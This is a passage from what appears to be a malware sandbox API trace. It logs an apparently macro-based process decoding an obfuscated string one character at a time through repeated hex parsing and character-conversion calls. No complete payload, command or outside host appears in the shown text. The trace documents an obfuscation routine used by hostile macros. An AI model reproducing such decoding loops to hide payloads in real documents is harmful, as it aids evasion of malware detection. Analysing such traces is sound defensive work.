lpMultiByteStr="a\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.423] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x14f5e04, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0175.423] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.423] VarParseNumFromStr (in: strIn="&H2F", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.423] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.423] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="V", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="V\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.423] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x14f5e2c, cchWideChar=1 | out: lpWideCharStr="y") returned 1 [0175.423] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.424] VarParseNumFromStr (in: strIn="&H0E", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.424] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.424] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="a\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.424] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x1465adc, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0175.424] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.424] VarParseNumFromStr (in: strIn="&H19", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.424] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.424] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="l\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.425] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x14f5e04, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0175.425] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.425] VarParseNumFromStr (in: strIn="&H17", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.425] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.425] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="e\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.425] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x14f5e2c, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0175.425] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.425] VarParseNumFromStr (in: strIn="&H52", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.425] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.426] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="r\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.426] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x1465adc, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0175.426] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.426] VarParseNumFromStr (in: strIn="&H0D", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.426] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.426] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="i\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.426] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x14f5e04, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0175.426] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.427] VarParseNumFromStr (in: strIn="&H0E", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.427] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.427] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="a\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.427] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x14f5e2c, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0175.427] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.427] VarParseNumFromStr (in: strIn="&H35", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.427] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.427] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="V", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="V\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.428] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x1465adc, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0175.428] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.428] VarParseNumFromStr (in: strIn="&H14", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.428] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.428] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="a\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.428] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x14f5e04, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0175.428] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.428] VarParseNumFromStr (in: strIn="&H01", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.428] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.429] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="l\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.429] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x14f5e2c, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0175.429] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.429] VarParseNumFromStr (in: strIn="&H00", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.429] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.429] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="e\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.429] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x1465adc, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0175.429] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.430] VarParseNumFromStr (in: strIn="&H1C", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.430] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.430] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="r\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.430] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x14f5e04, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0175.430] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.430] VarParseNumFromStr (in: strIn="&H1D", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.430] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.431] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="i\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.431] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x14f5e2c, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0175.431] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.431] VarParseNumFromStr (in: strIn="&H12", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.431] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.431] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="a\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.431] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x1465adc, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0175.431] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.432] VarParseNumFromStr (in: strIn="&H7A", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.432] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.432] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="V", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="V\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.432] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x14f5e04, cchWideChar=1 | out: lpWideCharStr=",") returned 1 [0175.432] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.432] VarParseNumFromStr (in: strIn="&H41", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.432] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.433] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="a\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.433] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x14f5e2c, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0175.433] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.433] VarParseNumFromStr (in: strIn="&H1C", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.433] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.433] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="l\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.433] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x1465adc, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0175.433] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.434] VarParseNumFromStr (in: strIn="&H0D", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.434] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.434] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="e\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.434] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x14f5e04, cchWideChar=1 | out: lpWideCharStr="h") returned 1 [0175.434] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.434] VarParseNumFromStr (in: strIn="&H1D", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.434] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.435] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="r\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.435] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x14f5e2c, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0175.435] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.435] VarParseNumFromStr (in: strIn="&H1D", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.435] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.435] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="i\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.435] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x1465adc, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0175.435] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.435] VarParseNumFromStr (in: strIn="&H0E", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.435] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.436] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="a\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.436] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x14f5e04, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0175.436] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.436] VarParseNumFromStr (in: strIn="&H25", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.436] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.436] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="V", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="V\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.436] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x14f5e2c, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0175.436] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.437] VarParseNumFromStr (in: strIn="&H4D", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.437] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.437] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="a\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.437] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x1465adc, cchWideChar=1 | out: lpWideCharStr=",") returned 1 [0175.437] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.437] VarParseNumFromStr (in: strIn="&H4C", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.437] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.438] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="l\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.438] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x14f5e04, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0175.438] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.438] VarParseNumFromStr (in: strIn="&H13", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.438] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.438] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="e\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.438] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x14f5e2c, cchWideChar=1 | out: lpWideCharStr="v") returned 1 [0175.438] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.439] VarParseNumFromStr (in: strIn="&H1B", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.439] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.439] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="r\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.439] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x1465adc, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0175.439] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.439] VarParseNumFromStr (in: strIn="&H0D", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.439] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.440] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="i\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.440] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x14f5e04, 